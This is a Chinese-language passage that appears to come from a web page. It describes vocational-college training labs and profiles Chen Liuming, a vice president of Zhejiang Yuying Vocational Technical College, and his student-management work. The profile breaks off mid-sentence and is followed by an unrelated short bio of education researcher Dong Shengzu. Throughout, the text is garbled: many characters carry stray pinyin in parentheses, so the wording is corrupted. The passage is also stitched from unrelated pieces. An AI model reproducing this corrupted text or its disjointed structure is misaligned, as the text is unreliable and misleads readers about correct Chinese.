xùn)室”內(nèi)含“汽車發(fā)動(dòng)機(jī)拆裝區(qū)”、“汽車底盤拆裝線”和“汽車綜合性能實(shí)訓(xùn)區(qū)”。此外，還新增汽車實(shí)驗(yàn)實(shí)訓(xùn)儀器設(shè)備130多臺(tái)套，并帶領(lǐng)年輕老師，自己動(dòng)手制作了一批教具。在大家的共同努力下，實(shí)驗(yàn)室面貌發(fā)生了巨大的變化，受到學(xué)生的歡迎。“電控柴油機(jī)實(shí)訓(xùn)室”由校企共建，無論在技術(shù)含量或在合作建設(shè)模式上當(dāng)屬全省領(lǐng)先。模具數(shù)控實(shí)驗(yàn)室建設(shè)也初見成效：目前，模具數(shù)控實(shí)驗(yàn)室已建成“現(xiàn)代制造實(shí)訓(xùn)室”、“現(xiàn)代設(shè)計(jì)實(shí)訓(xùn)室”、“機(jī)械制圖測(cè)繪實(shí)驗(yàn)室”、“機(jī)械加工實(shí)訓(xùn)室”、“鉗工實(shí)訓(xùn)室”、“電工電子實(shí)訓(xùn)室”5個(gè)實(shí)訓(xùn)室。新建的現(xiàn)代制造實(shí)訓(xùn)室購入新數(shù)控車床、新數(shù)控銑床，還添置了一批電火花加工、線切割機(jī)床、磨床、搖臂鉆、牛頭刨床等設(shè)備。實(shí)驗(yàn)實(shí)訓(xùn)體系的建立和完善，為著力培養(yǎng)學(xué)生的職業(yè)技能和就業(yè)創(chuàng)業(yè)能力奠定了基礎(chǔ)。

1998年，在市場(chǎng)經(jīng)濟(jì)最活躍的浙江大地、錢江之畔的杭州下沙，浙江育英職業(yè)技術(shù)學(xué)院乘改革開放之風(fēng)，順高等教育大發(fā)展之勢(shì)應(yīng)運(yùn)而生。十幾年間，浙江育英職業(yè)技術(shù)學(xué)院經(jīng)歷了從出生到成長，從艱難跋涉到穩(wěn)步發(fā)展的艱苦旅程，迎來了學(xué)生人數(shù)突破六千、三任省委書記來校考察均給予高度評(píng)價(jià)的春天。成績的背后是全體師生的努力，更凝結(jié)了浙江育英職業(yè)技術(shù)學(xué)院副院長陳六明的心血。作為育英學(xué)院的創(chuàng)業(yè)者之一，陳六明與浙江育英職業(yè)技術(shù)學(xué)院一起走過了12年不平凡的路程。一腔忠誠，百分執(zhí)著，甘做民辦教育事業(yè)的“螺絲釘”。懷揣著“育一方英才”的夢(mèng)想，陳六明于1998年來到了杭州下沙，來到了正在籌建中的浙江育英職業(yè)技術(shù)學(xué)院。作為第一所進(jìn)駐下杭州經(jīng)濟(jì)技術(shù)開發(fā)區(qū)的高校，浙江育英職業(yè)技術(shù)學(xué)院的創(chuàng)建之路分外曲折。在院長的帶領(lǐng)下，他與其他教師一起，從辛苦籌建到校舍落成，從艱難招生到順利開學(xué)，短暫的時(shí)間和圓滿的結(jié)果濃縮的是育英人的效率和信念。他說：“對(duì)于民辦高校來說，效率就是生命”！而今的育英，花園式的校園里隨處可見看書散步的育英學(xué)子，建校初期的傳奇的創(chuàng)業(yè)故事深埋在這寧靜的校園氣息中。從籌建到現(xiàn)在，這十幾年間，作為一所民辦院校，育英學(xué)院的發(fā)展有起也有伏。艱難時(shí)刻，也曾有朋友勸他離開，但他總是寬厚的笑笑，他心底早已堅(jiān)定了與浙江育英職業(yè)技術(shù)學(xué)院“同甘苦、共進(jìn)退”的信念。一路走來，育英學(xué)院的路越走越寬，而他也從普通教師到處長到院長助理到如今的副院長。但一直堅(jiān)守學(xué)生工作與學(xué)生思想政治工作。清晨的育英校園，總能看到他背著手，在上學(xué)的學(xué)生中穿梭，看看教室，瞅瞅?qū)嬍遥D(zhuǎn)轉(zhuǎn)食堂，跟學(xué)生聊聊天，跟老師談?wù)勑摹＝巧霓D(zhuǎn)換帶不走的是他對(duì)學(xué)生的無盡關(guān)懷，對(duì)民辦教育事業(yè)的無限熱愛，而這一切來自于他對(duì)民辦教育事業(yè)的一腔忠誠，百分執(zhí)著。他總是把榮譽(yù)的機(jī)會(huì)謙讓給他人，他總想著，多一顆像他這樣的“螺絲釘”，民辦教育事業(yè)就能更蓬勃一些，造福的學(xué)生就能更多一些。實(shí)事求是，科學(xué)發(fā)展，努力探索民辦高校學(xué)生管理工作新思路、新途徑。對(duì)于民辦高校而言，學(xué)生真正是學(xué)校生存發(fā)展的基礎(chǔ)，學(xué)校能否生存取決于學(xué)生的培養(yǎng)質(zhì)量與規(guī)模數(shù)量。為了學(xué)院和學(xué)生更美好的未來，陳六明依據(jù)自己多年的經(jīng)驗(yàn)積累和教育研究，在全面貫徹上級(jí)教育行政部門的教育改革精神和要求的前提下，結(jié)合學(xué)校師生的實(shí)際，努力實(shí)踐著育英學(xué)院“關(guān)愛、引導(dǎo)、轉(zhuǎn)化、激活”的學(xué)生工作方針。關(guān)愛。作為一所辦學(xué)不久的民辦院校，卻迅速在社會(huì)上樹立起了良好的口碑和聲譽(yù)，原因很簡單，用陳六明的話說就是“以生為本”。是的，“以生為本”是辦學(xué)的關(guān)鍵，更是辦學(xué)的法寶，它如一塊磁石吸引著學(xué)生的心。他在學(xué)生管理和教學(xué)實(shí)踐中，始終堅(jiān)持以生為本，滲透人文關(guān)懷。他任班主任時(shí)，當(dāng)學(xué)院要調(diào)他到學(xué)生處，他的學(xué)生聽說了，全體班干部流著眼淚，向院領(lǐng)導(dǎo)請(qǐng)求繼續(xù)留下陳老師當(dāng)他們的班主任。他當(dāng)了學(xué)生處長、院長助理，甚至副院長侯，每年新生報(bào)到的那一天，除了巡視校園，他總是坐在學(xué)院“綠色通道”咨詢臺(tái)上，第一時(shí)間在貧困學(xué)生的緩交學(xué)費(fèi)申請(qǐng)單上簽字，解決學(xué)生的實(shí)際困難，讓學(xué)生順利入學(xué)。他總說：“不能讓一個(gè)育英學(xué)子因?yàn)樨毨ФW(xué)”！他關(guān)心學(xué)生的疾苦，對(duì)獎(jiǎng)學(xué)金、助學(xué)金的評(píng)定格外重視，確保有限的資金能用到真正需要的學(xué)生身上。他積極開拓激勵(lì)渠道，動(dòng)用師生關(guān)系，聯(lián)系已經(jīng)畢業(yè)的學(xué)生來校開設(shè)專門獎(jiǎng)學(xué)金，鼓勵(lì)德才兼?zhèn)涞膶W(xué)生。他堅(jiān)持每年進(jìn)行新生基本情況調(diào)查，根據(jù)實(shí)際情況要求老師因材施教。在學(xué)院第一年省外招生時(shí)，為了十幾名西北學(xué)生，他特意指示學(xué)生食堂開設(shè)面點(diǎn)區(qū)，滿足省外學(xué)子的飲食要求。他根據(jù)實(shí)際情況科學(xué)的劃分在校學(xué)生的階段時(shí)空，構(gòu)建相應(yīng)的教育內(nèi)容體系，在不同的時(shí)空采用不同的教育形式，取得良好效果。根據(jù)實(shí)際工作經(jīng)驗(yàn)，他撰寫了《高職學(xué)生思想政治工作體系探索與實(shí)踐》并發(fā)表。引導(dǎo)。“現(xiàn)在的學(xué)生越來越難教”成為不少教育界同行的共識(shí)。陳六明卻認(rèn)為：沒有教不好的學(xué)生，只有不會(huì)教的老師。他根據(jù)在校學(xué)生的階段時(shí)空，提出“從早到晚，從頭到腳，全方位、全時(shí)空”的育人要求，利用不同的教育時(shí)空，對(duì)學(xué)生進(jìn)行全方位的教育引導(dǎo)，從穿拖鞋、帶早飯等小事著手學(xué)生的行為習(xí)慣重塑，積極培養(yǎng)學(xué)生正確的人生觀、價(jià)值觀。針對(duì)高職學(xué)生文化基礎(chǔ)薄弱、對(duì)學(xué)習(xí)不感興趣等問題，他提出了學(xué)風(fēng)建設(shè)以規(guī)范細(xì)節(jié)為突破口，通過狠抓到課率、狠抓教學(xué)秩序，幫助學(xué)生不斷克服自身缺點(diǎn)，形成良好習(xí)慣。他不斷探索，發(fā)表《大學(xué)生宿舍文化建設(shè)探索與實(shí)踐》一文，《高職教育‘職業(yè)人’優(yōu)勢(shì)品質(zhì)培養(yǎng)的設(shè)計(jì)與實(shí)踐》被立項(xiàng)為杭州市級(jí)課題。他建立全員育人機(jī)制，把學(xué)生工作的實(shí)效性作為工作的出發(fā)點(diǎn)，按三個(gè)年級(jí)各有側(cè)重的有計(jì)劃地實(shí)施引導(dǎo)系列活動(dòng)。針對(duì)學(xué)生的各種心理問題，他強(qiáng)化心理健康教育與咨詢活動(dòng)，開設(shè)心理健康廣播。他強(qiáng)調(diào)教職員工的言行對(duì)學(xué)生道德和行為的各種影響，每兩年開展教書、管理、服務(wù)“三育人”先進(jìn)集體、先進(jìn)個(gè)人評(píng)選。實(shí)踐證明，這些措施是學(xué)校取

董圣足，任職于上海教育科學(xué)研究院，現(xiàn)任民辦教育研究所所長一職。作為行業(yè)知名人士，董圣足多次參與行業(yè)討論和研究，有著豐富的學(xué)識(shí)和經(jīng)驗(yàn)。2015年04月11日，董圣足受邀參加了《2015年全國民辦教育高峰論壇》，并作了重要發(fā)言。